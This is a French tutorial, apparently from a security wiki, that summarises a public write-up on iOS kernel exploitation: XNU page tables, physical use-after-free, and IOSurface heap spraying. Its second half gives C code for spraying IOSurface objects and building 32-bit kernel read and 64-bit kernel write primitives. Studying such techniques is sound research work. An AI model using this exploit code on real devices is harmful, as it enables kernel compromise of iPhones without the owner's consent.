iOS Exploiting

Reading time: 7 minutes

Utilisation physique après libération

Ceci est un résumé du post de https://alfiecg.uk/2024/09/24/Kernel-exploit.html, de plus, des informations supplémentaires sur l'exploitation utilisant cette technique peuvent être trouvées dans https://github.com/felix-pb/kfd

Gestion de la mémoire dans XNU

L'espace d'adresses mémoire virtuelle pour les processus utilisateurs sur iOS s'étend de 0x0 à 0x8000000000. Cependant, ces adresses ne correspondent pas directement à la mémoire physique. Au lieu de cela, le noyau utilise des tables de pages pour traduire les adresses virtuelles en adresses physiques réelles.

Niveaux des tables de pages dans iOS

Les tables de pages sont organisées hiérarchiquement en trois niveaux :

  1. Table de pages L1 (Niveau 1) :
  • Chaque entrée ici représente une large plage de mémoire virtuelle.
  • Elle couvre 0x1000000000 octets (ou 256 Go) de mémoire virtuelle.
  1. Table de pages L2 (Niveau 2) :
  • Une entrée ici représente une région plus petite de mémoire virtuelle, spécifiquement 0x2000000 octets (32 Mo).
  • Une entrée L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la région elle-même.
  1. Table de pages L3 (Niveau 3) :
  • C'est le niveau le plus fin, où chaque entrée mappe une seule page mémoire de 4 Ko.
  • Une entrée L2 peut pointer vers une table L3 si un contrôle plus granulaire est nécessaire.

Mapping de la mémoire virtuelle à la mémoire physique

  • Mapping direct (Mapping par bloc) :
  • Certaines entrées dans une table de pages mappent directement une plage d'adresses virtuelles à une plage contiguë d'adresses physiques (comme un raccourci).
  • Pointeur vers la table de pages enfant :
  • Si un contrôle plus fin est nécessaire, une entrée à un niveau (par exemple, L1) peut pointer vers une table de pages enfant au niveau suivant (par exemple, L2).

Exemple : Mapping d'une adresse virtuelle

Disons que vous essayez d'accéder à l'adresse virtuelle 0x1000000000 :

  1. Table L1 :
  • Le noyau vérifie l'entrée de la table de pages L1 correspondant à cette adresse virtuelle. Si elle a un pointeur vers une table de pages L2, elle va à cette table L2.
  1. Table L2 :
  • Le noyau vérifie la table de pages L2 pour un mapping plus détaillé. Si cette entrée pointe vers une table de pages L3, il y procède.
  1. Table L3 :
  • Le noyau consulte l'entrée finale L3, qui pointe vers l'adresse physique de la page mémoire réelle.

Exemple de mapping d'adresse

Si vous écrivez l'adresse physique 0x800004000 dans le premier index de la table L2, alors :

  • Les adresses virtuelles de 0x1000000000 à 0x1002000000 mappent aux adresses physiques de 0x800004000 à 0x802004000.
  • C'est un mapping par bloc au niveau L2.

Alternativement, si l'entrée L2 pointe vers une table L3 :

  • Chaque page de 4 Ko dans la plage d'adresses virtuelles 0x1000000000 -> 0x1002000000 serait mappée par des entrées individuelles dans la table L3.

Utilisation physique après libération

Une utilisation physique après libération (UAF) se produit lorsque :

  1. Un processus alloue de la mémoire comme lisible et écrivable.
  2. Les tables de pages sont mises à jour pour mapper cette mémoire à une adresse physique spécifique que le processus peut accéder.
  3. Le processus désalloue (libère) la mémoire.
  4. Cependant, en raison d'un bug, le noyau oublie de supprimer le mapping des tables de pages, même s'il marque la mémoire physique correspondante comme libre.
  5. Le noyau peut alors réallouer cette mémoire physique "libérée" à d'autres fins, comme des données du noyau.
  6. Puisque le mapping n'a pas été supprimé, le processus peut toujours lire et écrire dans cette mémoire physique.

Cela signifie que le processus peut accéder aux pages de mémoire du noyau, qui pourraient contenir des données ou des structures sensibles, permettant potentiellement à un attaquant de manipuler la mémoire du noyau.

Stratégie d'exploitation : Spray de tas

Puisque l'attaquant ne peut pas contrôler quelles pages spécifiques du noyau seront allouées à la mémoire libérée, il utilise une technique appelée spray de tas :

  1. L'attaquant crée un grand nombre d'objets IOSurface dans la mémoire du noyau.
  2. Chaque objet IOSurface contient une valeur magique dans l'un de ses champs, ce qui le rend facile à identifier.
  3. Ils scannent les pages libérées pour voir si l'un de ces objets IOSurface s'est retrouvé sur une page libérée.
  4. Lorsqu'ils trouvent un objet IOSurface sur une page libérée, ils peuvent l'utiliser pour lire et écrire dans la mémoire du noyau.

Plus d'infos à ce sujet dans https://github.com/felix-pb/kfd/tree/main/writeups

Processus de spray de tas étape par étape

  1. Spray d'objets IOSurface : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique").
  2. Scanner les pages libérées : Ils vérifient si l'un des objets a été alloué sur une page libérée.
  3. Lire/Écrire dans la mémoire du noyau : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacité d'effectuer des lectures et écritures arbitraires dans la mémoire du noyau. Cela leur permet de :
  • Utiliser un champ pour lire n'importe quelle valeur 32 bits dans la mémoire du noyau.
  • Utiliser un autre champ pour écrire des valeurs 64 bits, atteignant un primitive de lecture/écriture stable du noyau.

Générer des objets IOSurface avec la valeur magique IOSURFACE_MAGIC à rechercher plus tard :

c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Recherchez des objets IOSurface dans une page physique libérée :

c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Réaliser des opérations de lecture/écriture du noyau avec IOSurface

Après avoir pris le contrôle d'un objet IOSurface dans la mémoire du noyau (mappé à une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des opérations de lecture et d'écriture arbitraires du noyau.

Champs clés dans IOSurface

L'objet IOSurface a deux champs cruciaux :

  1. Pointeur de compte d'utilisation : Permet une lecture de 32 bits.
  2. Pointeur de timestamp indexé : Permet une écriture de 64 bits.

En écrasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mémoire du noyau, permettant des capacités de lecture/écriture.

Lecture du noyau de 32 bits

Pour effectuer une lecture :

  1. Écrasez le pointeur de compte d'utilisation pour qu'il pointe vers l'adresse cible moins un décalage de 0x14 octets.
  2. Utilisez la méthode get_use_count pour lire la valeur à cette adresse.
c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

Écriture du noyau 64 bits

Pour effectuer une écriture :

  1. Écrasez le pointeur de timestamp indexé à l'adresse cible.
  2. Utilisez la méthode set_indexed_timestamp pour écrire une valeur de 64 bits.
c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Récapitulatif du Flux d'Exploitation

  1. Déclencher une Utilisation Après Libération Physique : Les pages libérées sont disponibles pour réutilisation.
  2. Pulvériser des Objets IOSurface : Allouer de nombreux objets IOSurface avec une "valeur magique" unique dans la mémoire du noyau.
  3. Identifier un IOSurface Accessible : Localiser un IOSurface sur une page libérée que vous contrôlez.
  4. Abuser de l'Utilisation Après Libération : Modifier les pointeurs dans l'objet IOSurface pour permettre une lecture/écriture arbitraire du noyau via les méthodes IOSurface.

Avec ces primitives, l'exploitation fournit des lectures 32 bits contrôlées et des écritures 64 bits dans la mémoire du noyau. D'autres étapes de jailbreak pourraient impliquer des primitives de lecture/écriture plus stables, ce qui pourrait nécessiter de contourner des protections supplémentaires (par exemple, PPL sur les nouveaux appareils arm64e).